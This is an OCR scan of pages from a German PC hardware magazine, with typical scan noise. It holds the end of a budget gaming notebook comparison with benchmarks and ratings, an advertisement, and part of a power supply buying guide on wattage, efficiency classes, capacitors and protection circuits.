Zeitreisen zu älteren Titel erfor- 
dern. Die Stichprobe zweier aktu- 
eller Benchmarks in The Witcher 3 
und Ethan Carter Redux zeigen, 
dass eine 940MX noch lange nicht 
in dieser Liga spielt. Mit ca. 21 Fps 
ist an Geralt noch nicht zu denken. 
Ältere und genügsamere Spiele 
schneiden dafür umso besser ab: In 
nativer Auflösung von 1.366 x 768 
Pixeln laufen etwa Titel wie Dota 2, 
Starcraft 2, World of Warcraft 
oder Overwatch mit gut spielba- 
ren 60 Fps. Die Kaby-Lake-CPU, 
eine Intel Core i5-7200U, besticht 
mehr durch die geringe TDP über 
15 Watt als durch hohe Rechenleis- 
tung. Dennoch ist der Dual-Core 
mit vier Threads deutlich leistungs- 
fähiger als die bereits vorgestellten 
AMD-APUs. Für die 940MX ist die 
CPU richtig dimensioniert, sodass 
sie sich nicht als Flaschenhals in 
Spielen erweist. Die HQ-CPUs von 
Intel sind nochmal eine Spur stär- 


CPU-Leistung: Intel vor AMD 


Cinebench R15 (Single) 
Intel Core i5-6300HQ (Dell) EX 130 (Basis) 
Intel Core 15-72000 (Asus) Em 124 (-5 %) 
AMD A12-9700P (Lenovo) E 71 (-45 96) 
AMD A10-9600P (HP) Ew 61 (-53 96) 
Cinebench R15 (Multi) 
Intel Core i5-6300HQ (Dell) Xm 463 (Basis) 
Intel Core 15-72000 (Asus) Eu 331 (-29 90) 
AMD A12-9700P (Lenovo) Eu 127 (-73 %) 
AMD A10-9600P (HP) Eu 136 (-71 %) 


Bemerkungen: Wenig überraschend, dass die beiden i5-CPUs von Intel hier deutlich vor- 
ne liegen. Die beiden AMD-Modelle sind eher mit einem i3 vergleichbar. Aber abgesehen 
vom Dell Inspiron liegen alle Notebooks auf demselben Preisniveau. 


Punkte 
» Besser 


Ein DVD-Laufwerk muss das Notebook nicht unbedingt dicker machen. Oder anders 
gesagt: Es gibt auch dicke Modelle ohne optisches Laufwerk, wie das von Dell. 


Bei teuren Asus-Notebooks ist der Display-Deckel aus konzentrisch gebürstetem 
Aluminium. Bei günstigen Modellen wird die Optik im Kunststoff nachempfunden. 
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Die Grafikpracht von The Witcher 3 kommt erst ab Full HD zur Geltung 


Viele günstige Notebooks haben noch immer eine native Auflösung von 1.366 x 768 Pixeln. Oft zu recht, da die GPU mit Full HD ohnehin überfordert wäre. The Witcher 3 ist 
mit einer Geforce 960M nur in 720p spielbar. Das ist bedauerlich, da das Spiel erst in hohen Auflösungen seine wahre Pracht entfaltet. 


768p, mittlere Details 
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World of Warcraft ist recht genügsam - ideal für günstige Notebooks 


Das noch immer beliebte MMORPG ist in die Jahre gekommen und deswegen auch mit schwächeren Rechenchips spielbar. Flüssiges Spielen ist aber oft ein Kompromiss aus 
niedriger Auflösung und hohen Grafikdetails — oder umgekehrt. 


=, 


768p, mittlere Details (Preset 5) | 1080p, hohe Details (Preset 10) 
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ker, wenn auch stromhungriger. 
Wer Wert auf eine akzeptable Ak- 
kulaufzeit im Desktop-Betrieb legt, 
ist mit einer genügsamen Ultra- 
Low-Voltage-CPU gut bedient. Auch 
wenn hier die Akku-Kapazität mit 
37 Wattstunden nicht gerade üppig 
ausfällt, was letztlich dem geringen 
Preis geschuldet ist. Weitere Preis- 
kompromisse sind die 8 GiByte 
Arbeitsspeicher, die für diese Leis- 
tungsklasse noch ausreichend sind, 
sowie die Magnetfestplatte. Diese 
ist günstiger als eine schnelle SSD, 
dafür aber mit 1 TiByte gut propor- 
tioniert. Für das CPU-GPU-Gespann 
ist das Notebook recht preiswert, 
dafür wird aber in der B-Note ge- 
spart. Ein kleines i-Tüpfelchen ist 
der USB-C-Anschluss, der aber nur 
USB-3.0-Geschwindigkeit ^ bietet. 
Mit nur 1,1 Sone ist das Vivobook 
selbst unter Last relativ leise. 


Dell Inspiron 15 7000 Gaming: Güns- 
tiger Einstieg in die Gaming-Sparte. 
Das Dell Inspiron ist ein Modell, 
mit dem die Gaming-Kategorie 


der Notebooks beginnt. Es verfügt 
über deutlich mehr Leistung, aber 
auch über einen ebenso hóheren 
Preis als die drei bisher vorgestell- 
ten Alternativen. Die Grafikeinheit, 
eine Geforce 960M liegt in Sachen 
Leistung in etwa zwischen einer 
940MX und einer GTX 1050 - dem 
schwächsten Modell der aktuellen 
Pascal-Generation. Mit niedrigster 
Grafikqualität sind auch aktuelle 
Spiele, wie etwa The Witcher 3, 
Mass Effect Andromeda oder 
Battlefield 1 spielbar. Oft nur in 
720p, unter Umstánden aber auch 
in Full HD. Mit den nativen 1.920 x 
1.080 Pixeln sind ältere Titel unein- 
geschränkt spielbar: In Overwatch, 
Dota 2 oder erst recht in World 
of Warcraft kann bedenkenlos 
die Texturqualität etwas hochge- 
Schraubt werden. Leistungsfähi- 
ger ist im Dell Inspiron auch der 
Akku: Mit knapp 74 Wattstunden 
ist das Inspiron mit teils doppelt 
so hoher Kapazität ausgestattet 
als das Vivobook. Das macht sich 
auch in der Laufzeit von mehr als 


sechs Stunden im 2D-Betrieb be- 
merkbar. Ein ebenso ausgezeich- 
neter Wert ist die nahezu nicht 
vorhandene Lautheit. Im Desktop- 
Betrieb bleiben die Lüfter aus und 
das Notebook wird komplett passiv 
gekühlt. Genug Masse dafür ist vor- 
handen. Denn obwohl alle anderen 
drei Notebooks etwas dünner sind 
und über DVD-Laufwerke verfü- 
gen, ist das Inspiron mit 2,6 kg das 
Schwerste unter den Vieren. Für 
ein 15-Zoll-Notebook nicht gerade 
wenig. Ein weiterer Wermutstrop- 
fen ist das Display, das - wenn 
auch nur knapp - in der maxima- 
len Helligkeit und im Kontrast am 
schlechtesten abschnitt. In der 
dreistelligen Preisregion müssen 
also noch immer einige Komromis- 
se eingegangen werden. 


Der Intel Core i5-6300HQ ist zwar 
ein guter Mittelklasse-Quadcore- 
Prozessor, entstammt aber aus der 
Skylake-Generation. Mit 45 Watt 
TDP ist er nicht so sparsam wie 
eine ULV-CPU mit 15 Watt. Daher 


ist das Akkukapazität-Laufzeit-Ver- 
hältnis etwa beim AsusVivobook 
besser. Ein Gamer bevorzugt aber 
eher höhere Leistungsspitzen als 
Effizienzwunder. Das Inspiron 
muss sich mit Notebooks mit einer 
GTX 1050 (Ti) messen lassen, denn 
die wurden auch schon in der Re- 
gion unter 1.000 Euro gesichtet 
und sind leistungsfähiger. (mc) 


Fazit Hardware 


Es muss nicht immer teuer sein. 
Wer sich mit Spielen wie Skyrim, Star- 
craft oder Solitaire begnügt, für den ist 
ein vierstelliger Notebook-Preis raus- 
geworfenes Geld. Unsere vier Stich- 
proben haben gezeigt, dass Gaming 
nicht erst in dieser Preisklasse begin- 
nt, wie es uns die Hersteller glauben 
machen wollen. CPUs und GPUs der 
Vorgängergenerationen sind noch im- 
mer auf dem Markt und bieten für so 
manchen genügsamen Gamer einen 
durchaus interessanten Preis-Leis- 
tungs-Kompromiss. 


GAMING- 
NOTEBOOKS 


Auszug aus Testtabelle 
mit 34 Wertungskriterien 


Inspiron 15 7000 Gaming 


Vivobook X556UQ 


Pavilion 15 


Ideapad 310-15ABR 


Hersteller Dell Asus HP Lenovo 

Ca. 800 €/befriedigend Ca. 590 €/gut Ca. 550 €/befriedigend Ca. 600 €/ausreichend 
PCGH-Preisvergleich www.pcgh.de/preis/1559143 www.pcgh.de/preis/1549941 www.pcgh.de/preis/1453030 www.pcgh.de/preis/1524766 
‚Ausstattung (20 %) 2,65 2,83 2,82 3,18 

Prozessor Intel Core i5-6300HQ, 2,3 GHz (4/41) Intel Core i5-7200U, 2,5 GHz (2c/4t) AMD A10-9600P, 2,4 GHz (2m/4t) AMD A12-9700P, 2,5 GHz (2/41) 
Grafikkarte NVIDIA GeForce GTX 960M, 4 GB Nvidia GeForce 940MX, 2 GB AMD Radeon R7 M440, 2 GB AMD Radeon R5 M430, 2 GB 


Hauptspeicher 


8 GiByte DDR4 (1 x 8 GiByte) 


8 GiByte DDR4 (1 x 8 GiByte) 


8 GiByte DDR4 (2 x 4 GiByte) 


12 GiByte DDR4 (1x 8 GiByte, 1x 4 Gibyte 
fest) 


Interner Speicher (HDD/SSD) 


-/256 GByte M.2 SATA 


1 TByte, 2,5 Zoll/- 


-/256 GByte M.2 SATA 


1 TByte, 2,5 Zoll/- 


Display 15.6 Zoll, 1.920 x 1.080, TN, matt 15.6 zoll, 1.366 x 768, TN, matt 15.6 Zoll, 1.920 x 1.080, TN, matt 15.6 Zoll, 1.366 x 768, TN, spiegelnd 
Anschlüsse 3x USB-A 3.0, 1x Gb LAN, 1x HDMI 2.0, 1x USB-C 3.0, 1x USB-A 3.0, 1x USB-A 2.0, 2x USB-A 3.0, 1x USB-A 2.0, 1x 100 Mbit | 1x USB-A 3.0, 2x USB-A 2.0, 1x Gb LAN, 
SD-Kartenleser, Webcam: 0,9 Megapixel 1x Gb LAN, 1x VGA, 1x HDMI, SD-Kartenle- (LAN 1x HDMI SD-Kartenleser, Webcam: 1,0 | 1x VGA, 1x HDMI, SD-Kartenleser, Webcam: 
ser, Webcam: 0,3 Megapixel Megapixel 0,9 Megapixel 
Besondere Ausstattung Dell-Support-Software USB-C-Anschluss AMD Radeon R8 M445DX (IGP und GPU um  |Lenovo-Software 
Crossfire-Verbund) 
Eigenschaften (20 %) 1,89 2,14 2,10 2,39 
Akkukapazitàt/Laufzeit 73,9 Wh/387 Minuten 37,2 Wh/240 Minuten 41,2 Wh/212 Minuten 29,6 Wh/120 Minuten 
Haptik und Ergonomie Befriedigend Befriedigend Befriedigend Befriedigend 
Verarbeitung Gut Gut Gut Gut 
Gewicht/Garantie 2,62 kg / zwei Jahre (Pickup&Return) 2,30 kg / zwei Jahre (Pickup&Return) 2,04 kg / ein Jahr 2,2 kg / zwei Jahre 
Leistung (60 %) 2,19 2,98 3,28 3,66 


Max. Displayhelligkeit/Kontrast/ 212,7 cd/m2/10 %/178:1 239,2 cd/m2/10 %/260:1 224,1 cd/m2/4 %/322:1 216,8 cd/m2/10 %/240:1 


Abweichungen 
Lautheit (2D/3D) 
Cinebench R15 (Single/Multi) 


0,1 Sone/1,7 Sone 
130/463 Punkte 


0,5 Sone/1,1 Sone 
124/331 Punkte 


0,4 Sone/2,1 Sone 
61/127 Punkte 


0,7 Sone/1,2 Sone 
71/136 Punkte 


The Witcher 3/Ethan Carter Redux 66/68,2 Fps 23/41,5 Fps 15/13,7 Fps 10/12,3 Fps 
(720p, niedrige Details) 
WoW (720p, mid. Gfx)/Dota2 93/83,6 Fps 72/78,8 Fps 48/34,9 Fps 30/34,2 Fps 


(720p, niedrige Details) 


FAZIT 


© Nahezu lautlos im 2D-Betrieb 
© Gute Akku-Kapazität 


© Gutes P/L-Verhältnis 
© USB-C-Anschluss 
© Keine SSD 


Wertung: 2,7 


© M.2-SATA-SSD 
© Full-HD-Display 
© 1 Jahr Garantie, kein ac-WLAN 


Wertung: 2,95 


© Viel Arbeitsspeicher 
© Relativ leise unter Last 
© Geringe Akku-Kapazität 


Wertung: 3,31 


© Schlechter Bildschirmkontrast 


Wertung: 2,22 


86 PC Games Hardware | 08/17 www.pcgameshardware.de 


TME T PLATTERS 


e Gameserver © Teamspeak-Server e 


5 


Vi 
LA) 

Ce 

adi 

1 


” ZP 4 = r3 
à ÜBERLEBE! BAUE! HERRSCHE! 5 BIS 500 SLOTS MÖGLICH 
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BIS 4GB SPEICHER VERFÜGBAR 
NENNEN AB 2,39€/MONAT 


00А 6,46€ /MONAT 
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Ein Produkt der CMG 
KMS d 


Computec Media Group 
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Kaufberatung 


Der Kauf eines Netzteils will gut überlegt sein, denn es kommt nicht nur auf die Leis- 
tung an. Wir geben Ihnen einen Überblick, auf welche Kriterien Sie noch achten sollten. 


etzteile werden seltener 
N ausgetauscht als andere PC- 
Komponenten - gerade aus diesem 
Grund sollte die Kaufentscheidung 
wohlüberlegt sein. Neben dem 
Preis und der bloßen Leistung des 
Spannungswandlers sind Lautheit 
und Effizienz die wichtigsten zu- 
sätzlichen Kenngrößen für einen 
optimalen Betrieb. Der Umgang 
mit der Restwelligkeit, die Span- 
nungsregulation und die Stützzeit 
sind zudem Faktoren, die bei der 
Wahl beachtet werden sollten. Wir 
wollen Ihnen in dieser Kaufbe- 
ratung einen Überblick über die 
wichtigsten Faktoren geben, sodass 
Sie ganz einfach das perfekte Netz- 
teil für Ihre Ansprüche finden. 


Zunächst müssen wir klären, wie 
viel Leistung der Computer ver- 
bauchen wird. Dieser Schritt ist die 
Grundlage für die Kaufentschei- 
dung, schützt einen vor Fehlkäufen 
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oder einem Defekt am System - be- 
darf aber etwas Recherchearbeit. 
Erste Anhaltspunkte liefern die 
Herstellerangaben auf den einzel- 
nen Komponenten oder Watt-Rech- 
ner auf den Netzteilherstellerseiten 
von zum Beispiel Enermax, Cooler 
Master oder Be Quiet. Auf Outervi- 
sion.com wird zudem ein sehr de- 
tailreicher Rechner angeboten, der 
sogar ermöglicht, die genaue Konfi- 
guration des PCs einzutragen. Hier 
sollten Sie beachten, dass Netzteile 
meist bei einer Last zwischen 45 
und 75 Prozent am effektivsten ar- 
beiten und deshalb am wenigsten 
Energie verloren geht. Rechnen Sie 
außerdem immer etwas mehr Leis- 
tung ein, um für zukünftige Erwei- 
terungen oder moderate Übertak- 
tungsversuche gewappnet zu sein. 


Natürlich sind die errechneten Er- 
gebnisse erst einmal alles nur In- 
dizien: Vergleichen Sie unbedingt 
die Angaben und rechnen Sie eine 
Fehlertoleranz ein. In der Regel rei- 


chen für simple Bürorechner ohne 
dedizierter Grafikkarte 300-Watt- 
Netzteile, Multimedia-Rechner mit 
Budget. oder Mittelklassekarten 
kommen bestens mit 400 Watt aus 
und bei aktuellen Gaming-PCs soll- 
te man 500 Watt einplanen - erst 
bei einer übertakteten High-End- 
Grafikkarte oder gar im Multi-GPU- 
Betrieb werden grófsere Watt-Zah- 
len notwendig. 


Wichtig ist aber nicht nur die 
angegebene Gesamtleistung des 
Netzteils, sondern auch die der ein- 
zelnen Leitungen: Verbraucht die 
angeschlossene Grafikkarte 250 
Watt, die 12-Volt-Leitung hat aber 
nur eine Nominalleistung von 200 
Watt, dann ist das Netzteil selbst 
mit einer Gesamtleistung von 600 
Watt ungeeignet. Gleiches gilt na- 
türlich auch für die 3,3-Volt- und 
die 5-Volt-Leitung. Die Information 
zu der möglichen Leistung der ein- 
zelnen Schienen finden Sie auf der 
Herstellerseite. 


I Grenzen Sie den Wattverbauch Ih- 
res Systems ein. 

IGrobe Einteilung: Büro unter 
300 W, Multimedia circa 400 W, 
Gaming ab 500 W 
Achten Sie auf die Nominalleis- 
tung der einzelnen Schienen. 
Rechnen Sie einen Puffer für 
zukünftige Erweiterungen und 
eventuelle Übertaktungsversuche 
ein. 


Netzteile transformieren die 
230-Volt-Wechselspannung, die aus 
der Steckdose kommt, in 12-Volt-, 
5-Volt- und 3,3-Volt-Gleichspan- 
nung um. Solch ein Wandlungspro- 
zess geht nie ohne Verluste einher, 
sodass die nutzbare Energie im Sys- 
tem immer geringer ist als die zu- 
geführte: Der Computer zieht also 
mehr Strom, als die Komponenten 
eigentlich benötigen. Ohne eigene 
Messungen lassen sich Netzteile 
nach ihrer Effizienz bisher nur 
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über das 80-Plus-Siegel einteilen. 
Spannungswandler mit dem nied- 
rigsten Zertifikat aus diesem Wer- 
tungssystem haben bei 50 Prozent 
Auslastung mindestens einen Wir- 
kungsgrad von 80 Prozent in einem 
115-Volt-Netz. Bessere Spannungs- 
wandler werden anhand ihrer Effi- 
zienzwerte in Bronze (85 Prozent), 
Silber (88 Prozent), Gold (90 Pro- 
zent), Platinum (92 Prozent) oder 
Titanium (94 Prozent) eingeteilt. In 
unserem europäischen Stromnetz 
werden im Vergleich zum 115-Volt- 
Netz in Amerika dank der erhöhten 
Netzspannung bessere Wirkungs- 
grade erreicht. 


Gehen wir in einer Beispielrech- 
nung mal davon aus, dass die ver- 
bauten Komponenten insgesamt 
400 Watt an Leistung benötigen. 
Da die verfügbare Energie kleiner 
ist als die eingespeiste, ziehen inef- 
fiziente Netzteile mehr Strom und 
kosten deswegen jedes Jahr mehr. 
Nutzen wir einen Spannungswand- 
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ler mit der niedrigsten 80-Plus-Zer- 
tifizierung, so zieht dieser bei 230 
Volt rund 88 W mehr aus der Wand. 
Dieser Mehrverbrauch schlägt bei 
einem täglichen Acht-Stunden- 
Volllast-Szenario insgesamt mit 427 
Euro/Jahr zu Buche (bei einem 
kWh-Preis von 30 Cent). In der 
höchsten Effizienzklasse Titanium 
zieht das Netzteil dagegen rund 
426 Watt und der Betrieb des PCs 
kostet pro Jahr nur 373 Euro. Das 
ist eine Ersparnis von beinahe 55 
Euro oder knapp 13 Prozent (siehe 
Grafiken rechts). Bei 16 Stunden 
liegt der nominale Mehrverbauch 
bei 109 Euro/Jahr und bei einem 
24-Stunden-Betrieb sogar bei fast 
164 Euro/Jahr. 


Sie sehen, je nachdem wie Sie Ih- 
ren Computer nutzen, sollten Sie 
besonderes Augenmerk auf die Effi- 
zienzklasse legen. Wird der Rech- 
ner 24/7 verwendet, lohnt sich - 
trotz des hohen Preises - meist ein 
Titanium- oder Platinum-Netzteil, 


Em 


Motherboard 
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Auf Outervision.com finden Sie einen umfangreichen Watt-Rechner, der Ihnen nicht 
nur den Verbrauch nennnt, sondern Ihnen auch die jährlichen Kosten ausrechnet. 


Was bringt 80 Plus im Geldbeutel? 


Welches Einsparpotenzial bieten die unterschiedlichen Effizienzlabels? 
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Wie viel kann man im Vergleich zum 80-Plus-Label sparen? 
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Einsparungen іп Euro (bei 0,3 Euro/kWh) 
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Bild: Outervision.com 
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Verbrauch nach Effizienzlevel 


Wie viel zusätzliche Leistung benötigt das Netzteil? 
100 


{TE 
| cm 

: CR 
° Cat 


^w 


Zusátzlicher Leistungsbedarf in Watt 


20 
10 E Wattmehrverbrauch 
0 
80 Plus Bronze Silber Gold Platinum Titanium 


System: Ausgegangen wurde von einem theoretischen Testsystem, in dem die verbauten Komponenten 400 
Watt an Leistungsbedarf haben. Die eingespeiste Energie ist immer größer als die tatsächlich nutzbare. Je besser 
der Wirkungsgrad, desto weniger Energie geht verloren. Bemerkungen: Weniger ist besser. 


Typische Effizienzkurven von Netzteilen 


Wie effektiv sind Netzteile bei unterschiedlichen Lasten? 


100 
————— a a a 
eck Re e E 
Ата а I 
4 pt Lg--e--e--9--e--e--e--o- o. o. | 
90 € e" 9--9--8--6 


O Gold 230V (64,3 Ø-n) 
А Titanium 230V (79,8 Ø-n) 


Wirkungsgrad [n] in Prozent 


/ Platinum 230V (69,9 Q-n) 
80 / 


70 


5 10 15 20 25 30 35 40 45 50 55 60 65 70 75 80 85 90 95 100 
Auslastung des Netzteils in Prozent 


Bemerkungen: Je höher der Wert liegt, desto effizienter ist das Netzteil zum gegebenen Lastpunkt. High-End- 
Geräte zeigen auch im Niedriglastbereich die besten Werte — dank der hochwertigen Baugruppen. Zwischen 40 
und 75 Prozent sind alle Netzteile am sparsamsten. Die 80-Plus-Effizienz würde bei 80 Prozent liegen. 


Kabelsalat ade? Zumindest bei einem vollmodularen Gerät (oben) kann man die 
Kabel beliebig anstecken. Ohne Management (unten) sind alle Kabel fest verdrahtet 
und teilmodulare Netzteile (Mitte) haben meist ATX- und CPU-Stecker fest integriert. 
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da die Kosten für dieses bereits 
nach einem oder zwei Jahren Nut- 
zung wieder eingespielt sind. Au- 
ßerdem sind diese Netzteile mit 
den besten Baugruppen bestückt 
und weisen dadurch eine sehr lan- 
ge Haltbarkeit auf, die die Herstel- 
ler meist mit langen Garantiezeiten 
unterstreichen. Nutzen Sie Ihr Sys- 
tem dagegen als Bürorechner nur 
acht Stunden am Tag oder weniger, 
müssen Sie nicht unbedingt mit 
hocheffizienten Spannungswand- 
lern Ihren Rechner bestücken. Für 
Multimedia-Rechner mit modera- 
ten Mittelklasse-GPUs fahren Sie 
am besten mit einem Gold-Netzteil, 
die es schon ab 70 Euro zu kaufen 
gibt (siehe hierzu Marktübersicht 
Netzteile PCGH 07/2017). Ein guter 
Richtwert für das Netzteil-Budget 
sollte der jährlich eingesparte 
Betrag sein: Achten Sie darauf, 
dass spätestens nach zwei Jahren 
Nutzung die Kosten für den Span- 
nungswandler wieder eingespielt 
sind. 


I Wie lange läuft Ihr Rechner pro 
Tag? Wählen Sie die passende Ef- 
fizienzklasse. 

I Ihr Netzteil sollte sich nach spätes- 
tens 24 Monaten durch Stromer- 
sparnis selbst finanziert haben. 

I Lassen Sie die Finger von allem un- 
ter 80-Plus-Bronze, Ihr Geldbeutel 
wird es Ihnen danken. 


Garantie oder 
Gewährleistung 

In der letzten Marktübersicht 
(PCGH 07/2017) haben wir Gold- 
Netzteile getestet und eine durch- 
schnittliche Garantiezeit von 5,5 
Jahren bei insgesamt neun Gerä- 
ten ermittelt. In der Regel war die 
zugestandene Garantiezeit höher, 
wenn die verbauten Baugruppen 
und Kondensatoren von besserer 
Produktionsqualität 
Hersteller unterstreichen damit das 


waren. Die 


Vertrauen in das eigene Produkt. 


Bitte beachten Sie, dass die zuge- 
sprochene Garantie des Herstellers 
unabhängig von der Gewährleis- 
tung ist, die in Deutschland zwei 
Jahre beträgt. Sollte Ihr Produkt 
innerhalb des ersten halben Jahres 
einen Defekt aufweisen, geht der 
Gesetzgeber von einem bereits be- 
stehenden Produktionsfehler aus 
- Verkäufer ist hier in der Beweis- 
pflicht. Sollte Ihr Netzteil danach 
nicht mehr funktionieren, liegt die 


Beweislast bei Ihnen. Viele Herstel- 
ler gewähren aber, wie eingangs 
erwähnt, deutlich länger Garantie 
und ersetzen den Spannungswand- 
ler ohne Anstände. Die Garantie 
stellt nämlich einen Vetrag bzw. 
eine freiwillige Zusage zwischen 
Ihnen und dem Hersteller oder 
Händler dar, die Ihnen eine unbe- 
dingte Schadensersatzleistung in 
einem bestimmten Zeitraum zu- 
sichert. 


I Die Garantiezeit sollte bei effizien- 
ten Netzteilen am höchsten sein. 

I Hersteller bekräftigen mit der Ga- 
rantie das Vertrauen in ihr eigenes 
Produkt. 


Kabelsalat 

Nachdem Sie nun die nótige Leis- 
tung ermittelt und sich für eine 
Effizienzklasse entschieden haben 
stimmt, 
sollten Sie Ihr Augenmerk auf die 
mitgebrachte Ausstattung des Netz- 
teils richten. Neben vollmodularen 
Systemen, bei denen Sie die Kabel 
beliebig verlegen kónnen, gibt es 
teilmodulare und welche 
ohne jegliches Kabelmanagment. 


sowie die Garantiezeit 


noch 


Bei teilmodularen Geräten sind 
meist der ATX-Stecker (24-Pin- 
Stecker zur Stromversorgung des 
Mainboards) und der 4-Pin-CPU- 
Stecker fest verbaut, sie erlauben 
aber das Anstecken und Abziehen 
der anderen Verbindungen. Bei 
einem Netzteil ohne jegliches Ka- 
belmanagement sind alle Kabel 
vormontiert. Hier sollten Sie unbe- 
dingt auf die Ausstattung der Kabel 
und deren Länge achten: Gibt es 
genug Anschlussmóglichkeiten für 
Ihre Komponenten oder sind es gar 
zu viele? 


Generell sollten Sie aber im Vorfeld 
prüfen, ob genug Anschlüsse für 
SATA- und PATA-Geräte sowie für 
Ihre Grafikkarte vorhanden sind. 
Bei energiehungrigen GPUs kón- 
nen allein für die Stromversorgung 
schon mal zwei 6+2-Pin-Stecker be- 
nötigt werden. Außerdem sollten 
Sie die für Ihr Gehäuse nötigen Ka- 
bellängen ermitteln und mit dem 
Netzteil Ihrer Wahl vergleichen. 
Durch ein gut durchdachtes Kabel- 
management verbessern Sie zudem 
den Luftdurchsatz in Ihrem System 
und damit auch die Kühlung. Net- 
ter Nebeneffekt: Es sieht im PC 
ordentlicher aus. 
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Das Innenleben eines Schaltnetzteils 


Hinweis zum Innenleben: Bitte 
öffnen Sie nie ein Netzteil, denn 
im Geràt gibt es keine zu war- 
tenden Teile! Die Bauteile kön- 
nen noch Reststrom speichern, 


der bei Kontakt zum Stromtod 
führen kann! In unseren Tests 
untersuchen wir zusätzlich die 
Kondensatoren, damit Sie es ga- 
rantiert nicht tun müssen. 


Gute Kondensatoren – 
schlechte Kondensatoren 
Neben Kunststoff- und Keramik- 
kondensatoren gibt es noch Elek- 


trolytkondensatoren, die auch als 
Elkos bekannt sind. In einem Kon- 
densator sind prinzipiell zwei Me- 
tallplatten durch ein Dielektrikum 
voneinander getrennt, das in Alu- 
minium-Elkos aus einer formierten 
Oxidschicht aus AI2O3 besteht. Als 
Anode dient eine aufgeraute und 
aufgerollte Aluminiumfolie, sodass 
genug Oberfläche für die Speiche- 
rung von elektrischer Energie vor- 
handen ist. Kondensatoren kónnen 
aber nicht nur Energie in einem 
elektrischem Feld speichern, son- 
dern puffern Änderungen in der 
Spannung ab. Bei der Gleichrich- 


Links: Ein sogenannter , Shunt" als Teil der Überstromschutzschaltung (OCP). Shunts 
sind Widerstánde mit einer geringen bekannten Resistenz. Rechts: Auf der Rückseite 
des PCB sind die zur zugehörigen oberflächenmontierten Messwiderstände. 


sind Keramikkondensatoren und oben rechts zwei Schiebekondensatoren abgebildet. 
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tung von Wechselspannung zu 
Gleichspannung entsteht immer 
eine Mischspannung, die durch 
Kondensatoren geglättet werden 
kann. Der verbleibende Wechsel- 
spannungsanteil wird dann als 
Restwelligkeit bezeichnet. Wichti- 
ge Kenngrößen für Elkos sind die 
elektrische Kapazität in Farad (F), 
die Arbeitsspannung und die Tem- 
peratureinstufung. 


Die Flüssigkeit in den Elektrolytkon- 
densatoren verdunstet mit der Zeit 
durch Diffusion und bestimmt da- 
mit die Lebensdauer des gesamten 
Netzteils. Somit hängt neben der 
Restwelligkeit der Alterungspro- 
zess stark von der Umgebungstem- 
peratur ab, denn eine verringerte 
Elektrolytmenge hat Kurzschlüsse 
zur Folge. Kondensatoren mit ei- 
105-°C-Temperatureinstufung 
haben eine deutlich längere Le- 
benserwartung bei 60 °C Umge- 
bungstemperatur als zum Beispiel 
85 °C eingestufte Exemplare. Die 
Hersteller von Spannungswandlern 
schwören zudem auf Kondensato- 
ren aus japanischer Produktion, da 
während der Kondensatorenpest 
(2002-2007) hauptsächlich taiwa- 
nesische Produkte massenhaft ka- 


ner 


puttgingen. Heutzutage haben sich 
die Qualitätsstufen der beiden Her- 
stellerländer nahezu angeglichen. 
Ein weiteres Qualitätsmerkmal ist 
die ESR, der sogenannte äquivalen- 
te Serienwiderstand. Je geringer 
dieser ist, desto höher ist die Qua- 
lität, da der Kondensator weniger 
ohmsche Leitungs- und dielektri- 
sche Umpolungsverluste besitzt. 


I Güteklasse 1: Japanische Konden- 
satoren mit 105 °C von Rubycon, 
Chemi-Con oder Nichicon 

I Güteklasse 2: Taiwanische 
Kondensatoren 105 °C von Tai- 
con, Teapo, SamXon oder japani- 
sche 85-°C-Kondensatoren 

I Güteklasse 3: Taiwanische Kon- 
densatoren 105 °C von Jamicon 
oder CapXon und 85 °C Konden- 
satoren aus Güteklasse 2 

I Güteklasse 4: Chinesische Kon- 
densatoren 105 °C/85 °C und 85 
°C Kond. aus Güteklasse 3 


Schutzschaltungen 
In modernen Netzteilen kommen 


eine Vielzahl von Schutzmecha- 
nismen zum Einsatz, die einerseits 
den Spannungswandler selber vor 
Lasten oder Umweltbedingungen 
schützen sollen, aber natürlich auch 
die angeschlossene Hardware. Ge- 
mäß der ATX-Spezifikationen von 
Intel schaltet sich das Netzteil ab 
und gibt unzulässige Spannungen 
nicht aus. Neben einem Überspan- 
nungsschutz (OVP) gibt es auch 
einen Kurzschlussschutz (SCP), ei- 
nen Unterspannungsschutz (UVP), 
einen Überhitzungsschutz (OTP), 
einen Überlastschutz (OPP) und ei- 
nen Überstromschutz (OCP). 


Überspannungsschutz (OVP): Schal- 
tet das Netzteil sofort ab, sobald 
die Ausgangsspannungen einen 
Auslösewert überschreiten, und 
schützt so die wertvolle Hardware 
vor Überspannungen 
Kurzschlussschutz (SCP): Greift, 
wenn die Ausgangsspannungen 
kurzgeschlossen werden. Meist 
schützt SCP die Komponenten 
hauptsächlich bei direkten Kurz- 
schlüssen, nicht unbedingt bei 
komponenteninternen Kurzschlüs- 
sen. Genau wie OVP ist der SCP 
durch die ATX-Spezifikationen 
zwingend vorgeschrieben. 


Unterspannungsschutz (UVP): Auch 
zu niedrige Spannungen können 
die PC-Hardware beschädigen, da 
diese dann außerhalb des vorge- 
sehenen Toleranzbereiches betrie- 
ben wird. 


Überhitzungsschutz (OTP): Sobald 
das Netzteil zu heiß läuft, zum 
Beispiel wenn die aktive Kühlung 
ausgefallen ist, greift dieser Schutz- 
mechanismus. OTP ist nicht vorge- 
schrieben in der ATX-Spezifikation, 
obwohl die Verwendung sinnvoll 
ist, vor allem wenn die optimale 
Betriebstemperatur des Netzteils 
unter 50 °C liegt (ATX-Spezifika- 
tion, die leider oft nicht eingehal- 
ten wird). 


Überlastschutz (OPP): Wenn dem 
Netzteil zu viel Last aufgebürdet 
wird, greift dieser Mechanismus 
und schützt so die Bauteile im Rech- 
ner. Meist ist der OPP im Primärbe- 
reich integriert und berücksichtigt 
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so die kombinierte Leistungsauf- 
nahme aller Spannungsschienen. 


Überstromschutz (OCP): Dieser Me- 
chanismus überwacht die einzel- 
nen Stromschienen und schaltet 
das Netzteil ab, sobald es zu einer 
Überlastung kommt. Ist kein OCP 
vorhanden, handelt es sich um 
ein Single-Rail-Netzteil. Bei einem 
gruppenregulierten Netzteil, bei 
dem mehrere Spannungsschienen 
verknüpft sind, ist ein fehlender 
Überstromschutz besonders ge- 
fährlich, da das Netzteil nicht geeig- 
net ist, die gesamte Nennleistung 
auf der 12-Volt-Schiene zu liefern. 


I Je mehr Schutzschaltungen, desto 
besser 

I Achten Sie bei Geräten, die außer- 
halb der ATX-Temperatur-Spezifi- 
kationen liegen, darauf, dass ein 
Überhitzungsschutz vorhanden ist. 


Single- oder Multi-Rail: Eine 
Frage des Glaubens? 

Die Konfiguration der +12-Volt- 
Leitungen in einem Netzteil stellt 
den potenziellen Käufer vor ein 
